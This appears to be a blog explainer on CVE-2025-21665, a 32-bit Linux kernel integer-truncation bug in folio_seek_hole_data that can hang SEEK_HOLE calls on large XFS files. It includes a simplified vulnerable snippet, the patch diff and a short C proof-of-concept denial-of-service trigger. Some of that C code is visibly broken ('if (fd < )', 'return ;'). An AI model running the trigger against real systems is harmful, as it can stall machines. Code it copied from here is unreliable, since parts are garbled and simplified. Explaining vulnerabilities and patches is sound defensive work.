CVE-2025-21665 - How a Linux Kernel Bug Caused Infinite Loops on 32-bit Systems

A new Linux kernel vulnerability, CVE-2025-21665, has gained attention for its subtle but potentially nasty impact on some systems, especially those running 32-bit Linux with XFS file systems. This post will break down what happened, walk through the bug (with code), and explain how attackers or even regular users might have been affected.

What is CVE-2025-21665?

This CVE affects the Linux kernel’s file handling code, specifically a part called filemap.c. On 32-bit kernels, a function named folio_seek_hole_data() was incorrectly chopping off half the bits from a 64-bit offset. This means that if certain file offsets were really large, they would be wrapped back to zero, causing an infinite loop during file operations—most notably when interacting with XFS filesystems.

Filesystem: Mainly triggered using XFS

- When: During file operations that look for holes or data in files (for example, reading sparse files, or manipulating files larger than 4GB)
- Impact: The operation might never finish (infinite loop), using up disk and CPU, and could hang processes or the whole system

If an attacker (or even a user by accident) triggered this, they could cause a Denial of Service (DoS).

Where’s the Problem?

Linux, like most modern systems, is heavily 64-bit. But support for 32-bit hasn’t gone away, and there are edge cases where big values get erroneously “downgraded.”

The problematic function (simplified) looked like this before the fix

/* Vulnerable snippet from filemap.c */
loff_t folio_seek_hole_data(struct inode *inode, loff_t start, int whence)
{
    unsigned int index = start >> PAGE_SHIFT; // BUG: truncates 'start'!
    struct folio *folio;

    for (;;) {
        folio = find_get_page(inode->i_mapping, index);
        if (!folio)
            break;
        index++; // move to next page
    }
    return index << PAGE_SHIFT;
}

On 32-bit kernels, unsigned int is 32 bits. loff_t and start may be 64 bits.

- If start is past the 4GB boundary (easily possible on big files), index silently loses the top bits. If you ask for data past xFFFFFFFF, the code actually checks from zero again!

Example Bug Trigger

Any process asking for a file offset past 4GB (common with sparse files or big databases) could get hung up:

// Seeking past 4GB in a sparse file with XFS
int fd = open("hugefile.xfs", O_RDWR);
loff_t offset = 5LL * 1024 * 1024 * 1024; // 5GB
lseek(fd, offset, SEEK_HOLE); // Kernel may hang here!

The patch changed this line

-    unsigned int index = start >> PAGE_SHIFT;
+    pgoff_t index = start >> PAGE_SHIFT; // pgoff_t is 64-bit safe!

Reference:
Kernel Patch Commit

This bug is more of a Denial of Service.

- An attacker with ability to manipulate files over 4GB in size could trigger a stuck process via a crafted program, which might exhaust system resources.
- Could be used to tie up kernel threads or even lock up the entire box, since stuck I/O in the kernel’s core filesystem code can stall other users.

Here's a minimal C snippet to trigger the bug (on a 32-bit system)

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int fd = open("bigfile", O_CREAT | O_RDWR, 0666);
    if (fd < ) return 1;
    // Stretch file to over 5GB
    lseek(fd, (off_t)5*1024*1024*1024, SEEK_SET);
    write(fd, "X", 1);
    // Now try to find a hole past 4GB
    off_t where = lseek(fd, (off_t)5*1024*1024*1024, SEEK_HOLE);
    if (where == -1) perror("lseek");
    close(fd);
    return ;
}

Mitigation

- Update your kernel! The fix is shipped in Linux mainline and backported to stable trees. If you run a 32-bit kernel (such as on ARM, older x86, or in some embedded NAS devices), patch ASAP.

TL;DR

CVE-2025-21665 was a classic “integer truncation” bug on 32-bit systems: when processing large file offsets, the Linux kernel would silently lose high bits, causing infinite loops and possible Denial of Service. Attackers could stall kernels by targeting large files, especially on XFS. The fix is trivial but important—upgrade your 32-bit Linux installs now!

Timeline

Published on: 01/31/2025 12:15:27 UTC
Last modified on: 02/03/2025 19:57:54 UTC